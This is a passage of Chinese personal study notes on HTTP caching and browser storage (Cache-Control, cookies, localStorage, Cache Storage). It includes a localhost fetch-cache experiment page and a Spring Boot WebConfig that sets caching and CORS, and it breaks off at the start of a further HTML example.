<template><div><h2 id="知识点" tabindex="-1"><a class="header-anchor" href="#知识点"><span>知识点</span></a></h2>
<h3 id="http缓存机制" tabindex="-1"><a class="header-anchor" href="#http缓存机制"><span>http缓存机制</span></a></h3>
<p><strong>http缓存策略声明在返回报文的heder。</strong></p>
<p>在http1.1以前，通过设置Expires字段，设定一个强缓存时间（例如2025-04-11 15:35:59），在此时间范围内，则从内存（或磁盘）中读取缓存返回。</p>
<p>在http1.1，使用Cache-Control进行代替</p>
<p>Cache-Control取值：</p>
<ul>
<li>private 客户端可以缓存</li>
<li>public 客户端和服务器都可以缓存</li>
<li>max-age=xxx 缓存的内容在xxx秒后失效</li>
<li>no-cache  使用协商缓存</li>
<li>no-store 所有内容都不会缓存，强制缓存，对比缓存都不会触发</li>
</ul>
<p>协商缓存（返回报文响应头）</p>
<ul>
<li>
<p>last-modified 通过判断时间戳来告知客户端需不需要使用缓存</p>
</li>
<li>
<p>ETag 通过计算文件的MD5值来判断需不需要缓存</p>
</li>
</ul>
<p>http缓存分为强缓存和协商缓存（弱缓存）,客户端向服务端请求资源以后会检查服务端的响应报文是否会声明长时间不发生变化，如果声明了长时间不发生变化的话，则把这个资源设置为强缓存（同时设置了过期时间），如果没有声明长时间不发生变化，则将此资源设置为若缓存资源。每次浏览器请求资源的时候会先从缓存中查找，如果缓存没命中，则向服务器获取资源，如果缓存命中了且是强缓存资源没过期，则不在向浏览器获取资源，如果是协商缓存则向服务器发送一个请求，查询资源是否发生变化，如果没有变化，则也不在向服务器获取资源，其余情况，都会从服务器获取资源。</p>
<blockquote>
<p>参考：</p>
<p><a href="https://www.cnblogs.com/chenqf/p/6386163.html" target="_blank" rel="noopener noreferrer">彻底弄懂HTTP缓存机制及原理 - 云中桥 - 博客园</a></p>
<p><a href="https://blog.csdn.net/hyupeng1006/article/details/126599764" target="_blank" rel="noopener noreferrer">前端缓存（浏览器缓存和http缓存）详解_前端浏览器缓存-CSDN博客</a></p>
</blockquote>
<h3 id="cookies" tabindex="-1"><a class="header-anchor" href="#cookies"><span>cookies</span></a></h3>
<p>cookies 是另一种存储方式，它存储的也是一个键值对。每个键值对有几个属性</p>
<ul>
<li>Name 键名</li>
<li>Value 键值</li>
<li>Domain 域名</li>
<li>Path cookie存储的路径</li>
<li>Size cookie的大小</li>
<li>Expires 过期时间</li>
<li>Max-Age 优先级高于Expires,设置cookie的存活时间</li>
<li>HttpOnly 安全性 前端js无法修改cookie</li>
<li>Secure  不需要设置,当协议是https时,自动开启,指定浏览器只有在加密协议 HTTPS 下才能发送cookie</li>
<li>SameSite 跨站策略，设置为Strict，完全禁止第三方Cookie，跨站时无法使用Cookie；Lax默认属性，允许在跨站时使用Get请求携带Cookie；None，允许跨站跨域使用Cookie，前提是将Secure属性设置为true；</li>
</ul>
<h3 id="local-storage和session-storage" tabindex="-1"><a class="header-anchor" href="#local-storage和session-storage"><span>local storage和session storage</span></a></h3>
<p>按照&lt;K,V&gt;进行存储，只能存储字符串（所以对象必须转成字符串），能够存储最大5mb的数据（部分浏览器会有差异）。其中，sessionStorage的有效期是仅保持在当前页面，关闭当前会话页或者浏览器后就会失效。localStorage的有效期是在不进行手动删除的情况下是一直有效的。</p>
<h3 id="shared-storage" tabindex="-1"><a class="header-anchor" href="#shared-storage"><span>shared storage</span></a></h3>
<p>共享存储，一般在分布式系统中，将数据存储集中在1个或者多个数据节点上</p>
<h3 id="indexeddb与websql" tabindex="-1"><a class="header-anchor" href="#indexeddb与websql"><span>indexedDB与WebSQL</span></a></h3>
<p>浏览器封装的数据库（基于sqllite实现），indexedDB是非关系型数据库，WebSql是关系型数据库</p>
<h3 id="cache-storage" tabindex="-1"><a class="header-anchor" href="#cache-storage"><span>cache storage</span></a></h3>
<p>Cache Storage 用于存储和管理HTTP请求和响应。以请求URL作为key，接口返回的数据作为value。主要用于缓存网络资源，从而提高页面二次加载速度。</p>
<blockquote>
<p>常用优化加载速度策略：[<a href="https://juejin.cn/post/7336822951273725978" target="_blank" rel="noopener noreferrer">前端进阶] 首屏优化知识梳理这里带大家梳理下常用的首屏优化策略 无论你是使用webpack打包，还是vite打包，本文 - 掘金</a></p>
</blockquote>
<h3 id="storage-buckets" tabindex="-1"><a class="header-anchor" href="#storage-buckets"><span>storage buckets</span></a></h3>
<p>即存储桶，我们拥有创建多个存储桶的能力，浏览器可以选择删除每个独立于其他桶的存储桶。这允许开发者能够指定清理存储的优先级，以确保最有价值的数据不会被删除。</p>
<h3 id="extension-storage" tabindex="-1"><a class="header-anchor" href="#extension-storage"><span>extension storage</span></a></h3>
<p>扩展存储（Extension Storage）是 Chrome 115 版本引入的一种新的存储机制。它提供了比传统 Web Storage（如 localStorage）更大的存储空间，并且具有更好的持久性和安全性。</p>
<h2 id="实验" tabindex="-1"><a class="header-anchor" href="#实验"><span>实验</span></a></h2>
<h3 id="http缓存配置" tabindex="-1"><a class="header-anchor" href="#http缓存配置"><span>http缓存配置</span></a></h3>
<p>Http缓存有哪些控制方法，前端如何控制和管理（读取，删除，配置），后端（nginx，tomcat）如何控制和管理</p>
<p>前端：</p>
<div class="language-html line-numbers-mode has-collapsed-lines collapsed" data-highlighter="shiki" data-ext="html" style="--vp-collapsed-lines:15;background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#7F848E;font-style:italic">&#x3C;!-- &#x3C;!DOCTYPE html></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">&#x3C;html lang="en"></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">&#x3C;head></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">    &#x3C;meta charset="UTF-8"></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">    &#x3C;meta name="viewport" content="width=device-width, initial-scale=1.0"></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">    &#x3C;title>cache-request&#x3C;/title></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">    &#x3C;script></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        const test = () => {</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        //    fetch('http://localhost:2025/cache-controller').then(resp=>{ console.log(resp);});</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        // const config = {</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        //     'Cache-Control':</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        // }</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        fetch('http://localhost:2025/static/index.html').then(resp=>{ console.log(resp);});</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        };</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">    &#x3C;/script></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">&#x3C;/head></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">&#x3C;body></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">    &#x3C;button id="btn" onclick="test()">点击获取资源&#x3C;/button></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">&#x3C;/body></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">&#x3C;/html>     --></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;!</span><span style="color:#E06C75">DOCTYPE</span><span style="color:#D19A66"> html</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">html</span><span style="color:#D19A66"> lang</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"en"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> charset</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"UTF-8"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> name</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"viewport"</span><span style="color:#D19A66"> content</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"width=device-width, initial-scale=1.0"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">>cache-request&#x3C;/</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#C678DD">        const</span><span style="color:#61AFEF"> readCache</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> async</span><span style="color:#ABB2BF"> () </span><span style="color:#C678DD">=></span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#C678DD">            try</span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#C678DD">                const</span><span style="color:#E5C07B"> resp</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> await</span><span style="color:#61AFEF"> fetch</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'http://localhost:2025/static/index.html'</span><span style="color:#ABB2BF">, { </span><span style="color:#E06C75">cache</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">'force-cache'</span><span style="color:#ABB2BF"> });</span></span>
<span class="line"><span style="color:#E5C07B">                console</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">log</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'从缓存读取响应:'</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">resp</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#ABB2BF">            } </span><span style="color:#C678DD">catch</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">error</span><span style="color:#ABB2BF">) {</span></span>
<span class="line"><span style="color:#E5C07B">                console</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">error</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'读取缓存时出错:'</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">error</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#ABB2BF">            }</span></span>
<span class="line"><span style="color:#ABB2BF">        };</span></span>
<span class="line"></span>
<span class="line"><span style="color:#C678DD">        const</span><span style="color:#61AFEF"> deleteCache</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> async</span><span style="color:#ABB2BF"> () </span><span style="color:#C678DD">=></span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#C678DD">            try</span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#C678DD">                const</span><span style="color:#E5C07B"> cacheNames</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> await</span><span style="color:#E5C07B"> caches</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">keys</span><span style="color:#ABB2BF">();</span></span>
<span class="line"><span style="color:#E5C07B">                console</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">log</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">cacheNames</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#C678DD">                for</span><span style="color:#ABB2BF"> (</span><span style="color:#C678DD">const</span><span style="color:#E5C07B"> cacheName</span><span style="color:#C678DD"> of</span><span style="color:#E06C75"> cacheNames</span><span style="color:#ABB2BF">) {</span></span>
<span class="line"><span style="color:#C678DD">                    await</span><span style="color:#E5C07B"> caches</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">delete</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">cacheName</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#ABB2BF">                }</span></span>
<span class="line"><span style="color:#E5C07B">                console</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">log</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'缓存已删除'</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#ABB2BF">            } </span><span style="color:#C678DD">catch</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">error</span><span style="color:#ABB2BF">) {</span></span>
<span class="line"><span style="color:#E5C07B">                console</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">error</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'删除缓存时出错:'</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">error</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#ABB2BF">            }</span></span>
<span class="line"><span style="color:#ABB2BF">        };</span></span>
<span class="line"></span>
<span class="line"><span style="color:#C678DD">        const</span><span style="color:#61AFEF"> useNoCache</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> async</span><span style="color:#ABB2BF"> () </span><span style="color:#C678DD">=></span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#C678DD">            try</span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#C678DD">                const</span><span style="color:#E5C07B"> resp</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> await</span><span style="color:#61AFEF"> fetch</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'http://localhost:2025/static/index.html'</span><span style="color:#ABB2BF">, { </span><span style="color:#E06C75">cache</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">'no-cache'</span><span style="color:#ABB2BF"> });</span></span>
<span class="line"><span style="color:#E5C07B">                console</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">log</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'不使用缓存获取响应:'</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">resp</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#ABB2BF">            } </span><span style="color:#C678DD">catch</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">error</span><span style="color:#ABB2BF">) {</span></span>
<span class="line"><span style="color:#E5C07B">                console</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">error</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'不使用缓存获取响应时出错:'</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">error</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#ABB2BF">            }</span></span>
<span class="line"><span style="color:#ABB2BF">        };</span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;/</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">button</span><span style="color:#D19A66"> onclick</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"</span><span style="color:#61AFEF">readCache</span><span style="color:#98C379">()"</span><span style="color:#ABB2BF">>从缓存读取资源&#x3C;/</span><span style="color:#E06C75">button</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">button</span><span style="color:#D19A66"> onclick</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"</span><span style="color:#61AFEF">deleteCache</span><span style="color:#98C379">()"</span><span style="color:#ABB2BF">>删除缓存&#x3C;/</span><span style="color:#E06C75">button</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">button</span><span style="color:#D19A66"> onclick</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"</span><span style="color:#61AFEF">useNoCache</span><span style="color:#98C379">()"</span><span style="color:#ABB2BF">>不使用缓存获取资源&#x3C;/</span><span style="color:#E06C75">button</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">html</span><span style="color:#ABB2BF">></span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><blockquote>
<p>有Bug，为什么清除缓存不好使？？？</p>
</blockquote>
<p><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Cache" target="_blank" rel="noopener noreferrer">Cache - Web API | MDN</a></p>
<p>后端：</p>
<div class="language-java line-numbers-mode has-collapsed-lines collapsed" data-highlighter="shiki" data-ext="java" style="--vp-collapsed-lines:15;background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#C678DD">package</span><span style="color:#C678DD"> xyz.hmz.backend.config</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.context.annotation.Bean</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.context.annotation.Configuration</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.http.CacheControl</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.cors.CorsConfiguration</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.cors.UrlBasedCorsConfigurationSource</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.filter.CorsFilter</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.servlet.config.annotation.WebMvcConfigurationSupport</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> java.util.concurrent.TimeUnit</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#7F848E;font-style:italic">/**</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @Author haomingze</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @Date 2025/4/17 19:08</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @description:</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> */</span></span>
<span class="line"><span style="color:#ABB2BF">@</span><span style="color:#E5C07B">Configuration</span></span>
<span class="line"><span style="color:#C678DD">public</span><span style="color:#C678DD"> class</span><span style="color:#E5C07B"> WebConfig</span><span style="color:#C678DD"> extends</span><span style="color:#E5C07B"> WebMvcConfigurationSupport</span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">    /**</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * （1）不使用缓存</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * no-store</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * 永远都不在客户端存储资源，永远都去原始服务器去获取资源。</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * （2）强制使用缓存</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * private(ngnix默认): 只能被终端用户的浏览器缓存，不允许CDN等中继缓存服务器对其缓存, 只有在第一次请求的时候才访问服务器, 若有max-age, 则缓存期间不访问服务器获取资源，过期后才访问。</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * public: 可以被所有的用户缓存，包括终端用户和CDN等中间代理服务器。</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * （3）协商使用缓存</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * no-cache</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * 可以在客户端存储资源，不管本地缓存是否过期，每次都必须去服务端做新鲜度校验，来决定从服务端获取新的资源（200）还是使用客户端缓存（304）。也就是所谓的协商缓存。</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * must-revalidate</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * 可以在客户端存储资源，只有本地缓存过期才去服务端做新鲜度校验。</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     */</span></span>
<span class="line"><span style="color:#ABB2BF">    @</span><span style="color:#E5C07B">Override</span></span>
<span class="line"><span style="color:#C678DD">    public</span><span style="color:#C678DD"> void</span><span style="color:#61AFEF"> addResourceHandlers</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">ResourceHandlerRegistry</span><span style="color:#E06C75;font-style:italic"> registry</span><span style="color:#ABB2BF">)</span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#E5C07B">        registry</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addResourceHandler</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/static/**"</span><span style="color:#ABB2BF">)</span></span>
<span class="line"><span style="color:#ABB2BF">                .</span><span style="color:#61AFEF">addResourceLocations</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"classpath:/static/"</span><span style="color:#ABB2BF">)</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">//                .setCacheControl(CacheControl.noStore());</span><span style="color:#7F848E;font-style:italic"> // 不使用缓存</span></span>
<span class="line"><span style="color:#ABB2BF">                .</span><span style="color:#61AFEF">setCacheControl</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">CacheControl</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">noCache</span><span style="color:#ABB2BF">().</span><span style="color:#61AFEF">cachePublic</span><span style="color:#ABB2BF">()); </span><span style="color:#7F848E;font-style:italic">// 协商缓存</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">//                .setCacheControl(CacheControl.maxAge(3600, TimeUnit.SECONDS).cachePublic());</span><span style="color:#7F848E;font-style:italic"> // 资源存在3600s 强缓存 同时允许客户端缓存资源但不允许代理端保存资源</span></span>
<span class="line"><span style="color:#ABB2BF">    }</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">    //过滤器方式</span></span>
<span class="line"><span style="color:#ABB2BF">    @</span><span style="color:#E5C07B">Bean</span></span>
<span class="line"><span style="color:#C678DD">    public</span><span style="color:#E5C07B"> CorsFilter</span><span style="color:#61AFEF"> corsFilter</span><span style="color:#ABB2BF">(){</span></span>
<span class="line"><span style="color:#E5C07B">        CorsConfiguration</span><span style="color:#E06C75"> config</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> new</span><span style="color:#61AFEF"> CorsConfiguration</span><span style="color:#ABB2BF">();</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        //允许所有域名进行跨域调用</span></span>
<span class="line"><span style="color:#E5C07B">        config</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addAllowedOriginPattern</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"*"</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        //允许所有请求头</span></span>
<span class="line"><span style="color:#E5C07B">        config</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addAllowedHeader</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"*"</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        //允许所有方法</span></span>
<span class="line"><span style="color:#E5C07B">        config</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addAllowedMethod</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"*"</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        //是否发送Cookie信息</span></span>
<span class="line"><span style="color:#E5C07B">        config</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">setAllowCredentials</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">true</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#E5C07B">        UrlBasedCorsConfigurationSource</span><span style="color:#E06C75"> source</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> new</span><span style="color:#61AFEF"> UrlBasedCorsConfigurationSource</span><span style="color:#ABB2BF">();</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        //添加映射路径，拦截一切请求</span></span>
<span class="line"><span style="color:#E5C07B">        source</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">registerCorsConfiguration</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/**"</span><span style="color:#ABB2BF">, config);</span></span>
<span class="line"></span>
<span class="line"><span style="color:#C678DD">        return</span><span style="color:#C678DD"> new</span><span style="color:#61AFEF"> CorsFilter</span><span style="color:#ABB2BF">(source);</span></span>
<span class="line"></span>
<span class="line"><span style="color:#ABB2BF">    }</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>nginx配置见配置SPA应用</p>
<blockquote>
<p>200(从磁盘缓存)是强缓存并没有向服务器发送确认信息， 304是协商缓存需要向服务器发送确认信息</p>
</blockquote>
<h3 id="http缓存的基本机制是什么样的" tabindex="-1"><a class="header-anchor" href="#http缓存的基本机制是什么样的"><span>http缓存的基本机制是什么样的</span></a></h3>
<p><a href="https://blog.csdn.net/weixin_43702146/article/details/126764996" target="_blank" rel="noopener noreferrer">springboot配置跨域、静态资源地址映射、拦截指定地址资源_添加映射路径,拦截一切请求怎么设置-CSDN博客</a></p>
<blockquote>
<p>天坑：</p>
<ol>
<li>
<p>服务端设置缓存才会有效果。</p>
</li>
<li>
<p>缓存通常是以服务端为准，但是客户端设置 Cache-Control 为 no-cache 或者 max-age=0 会改变缓存机制的决策。</p>
</li>
<li>
<p>客户端设置时效果不同，no-cache 是禁用缓存，max-age=0 是协商缓存。服务端设置时效果一致，都为协商缓存。</p>
</li>
</ol>
<p><a href="https://www.zhihu.com/question/416847563" target="_blank" rel="noopener noreferrer"> HTTP中的缓存，Cache-Control是客户端在请求头设置，还是服务端在响应头设置呢？ - 知乎</a></p>
</blockquote>
<h3 id="分析缓存在资源渲染过程中参与的时机" tabindex="-1"><a class="header-anchor" href="#分析缓存在资源渲染过程中参与的时机"><span>分析缓存在资源渲染过程中参与的时机</span></a></h3>
<div class="language-html line-numbers-mode" data-highlighter="shiki" data-ext="html" style="background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#ABB2BF">&#x3C;!</span><span style="color:#E06C75">DOCTYPE</span><span style="color:#D19A66"> html</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">html</span><span style="color:#D19A66"> lang</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"en"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
